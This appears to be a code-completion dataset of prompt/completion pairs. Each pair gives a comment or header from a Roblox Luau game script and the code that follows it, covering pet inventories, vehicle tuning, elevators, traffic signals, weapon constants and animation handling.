prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- This will do the edit gui popup
function Triggered(Player) local PlayerName = Player.Name if Owner.Value == PlayerName then UpdateSign:FireClient(Player) end end Prompt.Triggered:Connect(Triggered)
--[=[ Detects if a dictionary has a certain key. ```lua local Dictionary = { Hay = "A", MoreHay = "B", Needle = "C", SomeHay = "D", } print(TableKit.HasKey(Dictionary, "Needle")) -- prints true ``` @within TableKit @param dictionary table @param key unknown @return boolean ]=]
function TableKit.HasKey(dictionary: { [any]: unknown }, key: any): boolean return dictionary[key] ~= nil end
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__ReplicatedStorage__1 = game.ReplicatedStorage; function getLevel(p1) local v2 = 0; local l__Value__3 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value; local v4 = 0 - 1; while true do if 100 * v4 + v2 <= p1 then if v4 ~= l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value then else return v4; end; if p1 < 100 * v4 + v2 + (100 + 25 * v4) then return v4; end; end; v2 = v2 + v4 * 25; if 0 <= 1 then if v4 < l__Value__3 then else break; end; elseif l__Value__3 < v4 then else break; end; v4 = v4 + 1; end; end; function GetFolderFromPetID(p2) local v5, v6, v7 = pairs(l__LocalPlayer__1.Pets:GetChildren()); while true do local v8, v9 = v5(v6, v7); if v8 then else break; end; v7 = v8; if v9.PetID.Value == p2 then return v9; end; end; return nil; end; function getLayoutOrder(p3) local v10 = GetFolderFromPetID(p3); local l__Value__11 = l__ReplicatedStorage__1.Pets.Rarities:FindFirstChild(l__ReplicatedStorage__1.Pets.Models:FindFirstChild(v10.Name).Settings.Rarity.Value).Order.Value; local l__Value__12 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value; local v13 = getLevel(v10.TotalXP.Value); local v14 = {}; local v15 = 0; local v16, v17, v18 = pairs(l__ReplicatedStorage__1.Pets.Models:GetChildren()); while true do local v19, v20 = v16(v17, v18); if v19 then else break; end; v18 = v19; v14[#v14 + 1] = v20; end; table.sort(v14, function(p4, p5) return p4:GetFullName() < p5:GetFullName(); end); local v21, v22, v23 = pairs(v14); while true do local v24 = nil; local v25 = nil; v25, v24 = v21(v22, v23); if v25 then else break; end; v23 = v25; if v10.Equipped.Value == true then if v10.Name == v24.Name then return l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13); end; elseif v10.Name == v24.Name then return #v14 * #l__ReplicatedStorage__1.Pets.Rarities:GetChildren() * l__Value__12 + l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13); end; v15 = v15 + 1; end; end; local u2 = Color3.fromRGB(100, 100, 100); local l__Inventory__3 = script.Parent.Parent.Parent.Parent.MainFrame.Inventory; local l__Pets__4 = l__LocalPlayer__1:WaitForChild("Pets"); local l__TextLabel__5 = script.Parent.Parent.Parent.Parent.MainFrame.StorageDisplay.TextLabel; local l__Data__6 = l__LocalPlayer__1:WaitForChild("Data"); local l__TextLabel__7 = script.Parent.Parent.Parent.Parent.MainFrame.EquippedDisplay.TextLabel; local l__ImageColor3__8 = script.Parent.ImageColor3; script.Parent.MouseButton1Click:Connect(function() if script.Parent.TextLabel.Text == "Equip" then local v26, v27 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Equip", { PetID = script.Parent.Parent.Parent.PetID.Value }); if v26 == "Success" then script.Parent.ImageColor3 = u2; script.Parent.TextLabel.Text = "Unequip"; for v28, v29 in pairs(l__Inventory__3:GetChildren()) do if not v29:IsA("UIGridLayout") then v29.LayoutOrder = getLayoutOrder(v29.PetID.Value); if v29.PetID.Value == script.Parent.Parent.Parent.PetID.Value then v29.EquipMarker.Visible = true; end; end; end; local v30 = 0; for v31, v32 in pairs(l__Pets__4:GetChildren()) do if v32.Equipped.Value == true then v30 = v30 + 1; end; end; l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value; l__TextLabel__7.Text = v30 .. "/" .. l__Data__6.MaxEquip.Value; return; elseif v26 == "Error" then print(v27); return; end; elseif script.Parent.TextLabel.Text == "Unequip" then local v33, v34 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Unequip", { PetID = script.Parent.Parent.Parent.PetID.Value }); if v33 == "Success" then script.Parent.ImageColor3 = l__ImageColor3__8; script.Parent.TextLabel.Text = "Equip"; for v35, v36 in pairs(l__Inventory__3:GetChildren()) do if not v36:IsA("UIGridLayout") then v36.LayoutOrder = getLayoutOrder(v36.PetID.Value); if v36.PetID.Value == script.Parent.Parent.Parent.PetID.Value then v36.EquipMarker.Visible = false; end; end; end; local v37 = 0; for v38, v39 in pairs(l__Pets__4:GetChildren()) do if v39.Equipped.Value == true then v37 = v37 + 1; end; end; l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value; l__TextLabel__7.Text = v37 .. "/" .. l__Data__6.MaxEquip.Value; return; elseif v33 == "Error" then print(v34); end; end; end);
-- Vitesse de déplacement en secondes
local moveSpeed = 2 local isAtEnd = false
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ReplicatedFirst = game:GetService("ReplicatedFirst") local Players = game:GetService("Players") local TeleportService = game:GetService("TeleportService") local StarterPack = game:GetService("StarterPack") local Conf = require(ReplicatedFirst.Configurations.MainConfiguration) local Log = require(ReplicatedStorage.Libraries.Log) local Util = require(ReplicatedStorage.Libraries.Util) local Broadcast = require(ReplicatedStorage.Libraries.Broadcast) local MatchmakingDestination = require(ReplicatedStorage.Libraries.MatchmakingDestination) local WeaponsSystem = require(ReplicatedStorage.WeaponsSystem.WeaponsSystem) local DamageHandler = require(ReplicatedStorage.Core.DamageHandler) local WeaponsFolder = ReplicatedStorage.Assets.Weapons
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]]
--------STAGE--------
game.Workspace.Screens.Current.Value = game.Workspace.Screens.Main.Value game.Workspace.back1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.back2.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.crewbig1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.crewsmall1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.djstand.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.djtv.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side1.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side2.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side3.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side4.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side11.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.side12.Decal.Texture = game.Workspace.Screens.Main.Value game.Workspace.sidebig1.Decal.Texture = game.Workspace.Screens.Main.Value if game.Workspace.CurrentStageTV.Value == "1" then game.Workspace.main1.Decal.Texture = game.Workspace.Screens.Main.Value end
---------------------------------------------------------------------------------------
local defaultMenuFieldOfView = 70 local defaultMenuBlurIntensity = 20 local defaultMenuMusicVolume = 0.5 local defaultGameMusicVolume = 0.35
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function WeldChanged(property) if property == "Parent" and SeatWeld.Parent == nil then SeatWeld = nil Deactivate() BreakSeatConnections() end end function ChildAdded(child) if child:IsA("Weld") then local root = child.Part1 local character = root.Parent local player = game.Players:GetPlayerFromCharacter(character) if player then SeatWeld = child Activate(player) MakeSeatConnections() end end end
-------------------------
function onClicked() script.Parent.Parent.Down.ClickDetector.MaxActivationDistance = 0 script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 0 script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 0 script.Parent.Click:Play() script.Parent.BrickColor = BrickColor.new("Really red") script.Parent.ClickDetector.MaxActivationDistance = 0 script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 0 wait(2) script.Parent.Parent.DoorOutside2.CanCollide = true script.Parent.Parent.DoorOutside2.Transparency = 0 script.Parent.Parent.DoorInside.Transparency = 0 script.Parent.Parent.DoorInside.CanCollide = true script.Parent.Parent.DoorInside.Close:Play() wait(3) script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = true Car.Start:Play() Car.Run:Play() LiftDown:Play() wait(12) script.Parent.Parent.Screen.SurfaceGui.Frame.TextLabel.Text = "SECRET BASE" script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = false Car.Start:Stop() Car.Run:Stop() Car.Stop:Play() wait(2) door.Transparency = 1 door.CanCollide = false script.Parent.Parent.DoorOutside.CanCollide = false script.Parent.Parent.DoorOutside.Transparency = 1 Car.Ding:Play() wait(5) script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 12 script.Parent.BrickColor = BrickColor.new("Lime green") script.Parent.Parent.Up.BrickColor = BrickColor.new("Lime green") script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 12 end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Experimental Create Event Handle API.
exports.enableCreateEventHandleAPI = false
-- created by Dandystan, message on Roblox to provide feedback
--[=[ Binds the given update function to render stepped. ```lua local spring = Spring.new(0) local maid = Maid.new() local startAnimation, maid._stopAnimation = StepUtils.bindToRenderStep(function() local animating, position = SpringUtils.animating(spring) print(position) return animating end) spring.t = 1 startAnimation() ``` :::tip Be sure to call the disconnect function when cleaning up, otherwise you may memory leak. ::: @param update () -> boolean -- should return true while it needs to update @return (...) -> () -- Connect function @return () -> () -- Disconnect function ]=]
function StepUtils.bindToRenderStep(update) return StepUtils.bindToSignal(RunService.RenderStepped, update) end
--[=[ Retrieves the rank of the player in the group. @param player Player @param groupId number @return Promise<number> -- Generally from 0 to 255 ]=]
function GroupUtils.promiseRankInGroup(player, groupId) assert(typeof(player) == "Instance" and player:IsA("Player"), "Bad player") assert(type(groupId) == "number", "Bad groupId") return Promise.spawn(function(resolve, reject) local rank = nil local ok, err = pcall(function() rank = player:GetRankInGroup(groupId) end) if not ok then return reject(err) end if type(rank) ~= "number" then return reject("Rank is not a number") end return resolve(rank) end) end
----------------- --| Constants |-- -----------------
local BLAST_RADIUS = 8 -- Blast radius of the explosion local BLAST_DAMAGE = 100 -- Amount of damage done to players local BLAST_FORCE = 1000 -- Amount of force applied to parts local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
---- Change these settings to change stuff (keep the commas, lua doesn't understand n00b syntax)
local settings = { splatters_per_health_inc = 1, ---- The amount of blood splatters made when you lose (damage_inc) of health damage_inc = 3, ---- The increment of damage that must be done at a time to trigger blood splatters remove_time = 20, ---- The time (in seconds) until a blood splatter is removed after it is created min_splatter_time = 0, ---- The delay time (minimum) until another blood splatter is made max_splatter_time = 0.05, ---- The delay time (maximum) until another blood splatter is made min_transparency = 0.2, ---- The (minimum) transparency of a blood splatter max_transparency = 0, ---- The (maximum) transparency of a blood splatter min_size_x = 3, ---- The (minimum) size of a blood splatter on the X axis max_size_x = 8, ---- The (maximum) size of a blood splatter on the X axis min_size_z = 3, ---- The (minimum) size of a blood splatter on the Z axis max_size_z = 8, ---- The (maximum) size of a blood splatter on the Z axis tran_tw_time_min = 0.1, ---- The (minimum) time to tween the size of a blood splatter tran_tw_time_max = 0.5, ---- The (maximum) time to tween the size of a blood splatter size_tw_time_min = 0.1, ---- The (minimum) time to tween the transparency of a blood splatter size_tw_time_max = 0.6 ---- The (maximum) time to tween the transparency of a blood splatter }
-- Initialize the tool
local MaterialTool = { Name = 'Material Tool'; Color = BrickColor.new 'Bright violet'; };
--| Custom |--
local Distance = 30 -- Distance (hitbox) local Damage = 10 -- damage
--local d = function () -- Zombie.Animation.Looped = true -- Zombie.Animation:Play(1) --end
-- Inheritance:
rev_ReplicaSetParent.OnClientEvent:Connect(function(replica_id, parent_replica_id) -- (replica_id, parent_replica_id) local replica = Replicas[replica_id] local old_parent_children = replica.Parent.Children local new_parent = Replicas[parent_replica_id] table.remove(old_parent_children, table.find(old_parent_children, replica)) table.insert(new_parent.Children, replica) replica.Parent = new_parent -- Trigger child added: local child_listener_table = ChildListeners[parent_replica_id] if child_listener_table ~= nil then for i = 1, #child_listener_table do child_listener_table[i](replica) end end end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 1740 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 2000 -- Use sliders to manipulate values Tune.Redline = 12000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
----------------------This is just an example-----------------------------
script.Parent.Parent.Ammo.Visible = true script.Parent.Parent.Ammo.Text = ammo2.Value
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolAnimTrack = nil local toolAnimInstance = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then --print("Keyframe : ".. frameName) playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end --print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
-- Make Connection strict
setmetatable(Connection, { __index = function(tb, key) error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(tb, key, value) error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2) end })
-- Libraries
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger')) local Roact = require(Vendor:WaitForChild('Roact')) local ColorPicker = require(UI:WaitForChild('ColorPicker')) local Dropdown = require(UI:WaitForChild('Dropdown')) local Signal = require(Libraries:WaitForChild('Signal'))
-- Removes an object's tree node. Called when the object stops existing in the -- game tree.
removeObject = function(object) local objectNode = NodeLookup[object] if not objectNode then return end local visible = nodeIsVisible(objectNode) Selection:Remove(object,true) local parent = objectNode.Parent remove(parent,objectNode.Index) NodeLookup[object] = nil connLookup[object]:disconnect() connLookup[object] = nil if visible then updateList() elseif nodeIsVisible(parent) then updateScroll() end end
-- declarations
local head = script.Parent local sound = head:findFirstChild("Victory") function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then sound:play() if part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture == nil then return end part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture="" part.Parent:findFirstChild("Head").BrickColor = BrickColor.new(1) part.Parent:findFirstChild("Torso").BrickColor = BrickColor.new(1) part.Parent:findFirstChild("Left Arm").BrickColor = BrickColor.new(1) part.Parent:findFirstChild("Right Arm").BrickColor = BrickColor.new(1) part.Parent:findFirstChild("Left Leg").BrickColor = BrickColor.new(1) part.Parent:findFirstChild("Right Leg").BrickColor = BrickColor.new(1) end end script.Parent.Touched:connect(onTouched)
-- jest --expand -- -- Given array of aligned strings with inverse highlight formatting, -- return joined lines with diff formatting.
local function joinAlignedDiffsExpand(diffs: Array<Diff>, options: DiffOptionsNormalized): string return table.concat( Array.map(diffs, function(diff, i: number, diffs_: { [number]: any }): string local line = diff[2] -- ROBLOX deviation: 1-indexing local isFirstOrLast = i == 1 or i == #diffs_ local case = diff[1] if case == DIFF_DELETE then return printDeleteLine(line, isFirstOrLast, options) elseif case == DIFF_INSERT then return printInsertLine(line, isFirstOrLast, options) else return printCommonLine(line, isFirstOrLast, options) end end), "\n" ) end return { joinAlignedDiffsNoExpand = joinAlignedDiffsNoExpand, joinAlignedDiffsExpand = joinAlignedDiffsExpand, }
--[[ Indexes the avatar joints and gives them a default orientation ]]
function ClientAvatarComponent:setupJoints() self.shoulders = {} self.hips = {} self.knees = {} local leftShoulder = self.avatar:FindFirstChild("LeftShoulder", true) local rightShoulder = self.avatar:FindFirstChild("RightShoulder", true) local leftHip = self.avatar:FindFirstChild("LeftHip", true) local rightHip = self.avatar:FindFirstChild("RightHip", true) local leftKnee = self.avatar:FindFirstChild("LeftKnee", true) local rightKnee = self.avatar:FindFirstChild("RightKnee", true) -- Transform doesn't replicate, so this is applied clientside on each client -- As animations can't be shared between users yet, we can't use an animation for this if leftShoulder and leftShoulder:IsA("Motor6D") then leftShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0) self.shoulders.left = leftShoulder end if rightShoulder and rightShoulder:IsA("Motor6D") then rightShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0) self.shoulders.right = rightShoulder end if leftHip and leftHip:IsA("Motor6D") then leftHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0) self.hips.left = leftHip end if rightHip and rightHip:IsA("Motor6D") then rightHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0) self.hips.right = rightHip end if leftKnee and leftKnee:IsA("Motor6D") then leftKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0) self.knees.left = leftKnee end if rightKnee and rightKnee:IsA("Motor6D") then rightKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0) self.knees.right = rightKnee end end
--Reset First
LeftHip.C1 = CFrame.new(3,0,0) RightHip.C1 = CFrame.new(-3,0,0) print("Completed") while true do LeftHip.C1 = CFrame.new(3,0,0-5) RightHip.C1 = CFrame.new(-3,0,0+5) for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,-0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,-0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end sp.Parent.Torso["Footstep"..math.random(1,3)]:Play() for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,-0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,-0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end sp.Parent.Torso["Footstep"..math.random(1,3)]:Play() end
--[[if player and player.Parent:findFirstChild("Humanoid") then local enemy = game.Players:findFirstChild(player.Parent.Name) if enemy then if enemy.TeamColor ~= pler.TeamColor then if player.Parent:findFirstChild("Head") and not pler.PlayerGui:findFirstChild(player.Parent.Name) then local big = Instance.new("BillboardGui",pler.PlayerGui) big.Name = player.Parent.Name big.Adornee = player.Parent:findFirstChild("Head") big.Size = UDim2.new( 1.0, 0, 1.0, 0 ) big.StudsOffset = Vector3.new( 0, 2, 0 ) local name = Instance.new("TextLabel",big) name.Position = UDim2.new( 0.5, 0, 0, 0 ) name.FontSize = 3 name.BackgroundTransparency = 1 name.Size = UDim2.new(0, 0, 0, 0 ) name.Text = player.Parent.Name name.TextColor3 = Color3.new(25, 0, 0) game.Debris:AddItem(big,1) end end end end]]
end end function on(mouse) while true do wait(.5) Run(mouse) end end Tool.Equipped:connect(on)
---------------------------------------------
SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 1 PedValues.PedSignal2a.Value = 1 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL1 GREEN) SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 2 PedValues.PedSignal2a.Value = 2 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 1 TurnValues.TurnSignal2a.Value = 3 wait(10)--Green Time (BEGIN SIGNAL2 PROTECTED TURN GREEN) TurnValues.TurnSignal2.Value = 2 wait(4)--Yield Time (YIELD SIGNAL2 PROTECTED TURN GREEN) TurnValues.TurnSignal2.Value = 3 SignalValues.Signal2a.Value = 3 wait(2)-- All Red Cycle SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10) -- Green Time + Time for Signal2a SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)--ALL RED SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 1 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN) TurnValues.TurnSignal1.Value = 2 wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN) TurnValues.TurnSignal1.Value = 3 SignalValues.Signal1a.Value = 3 wait(2)-- All Red Cycle SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10) -- Green Time + Time for Signal1a SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED end
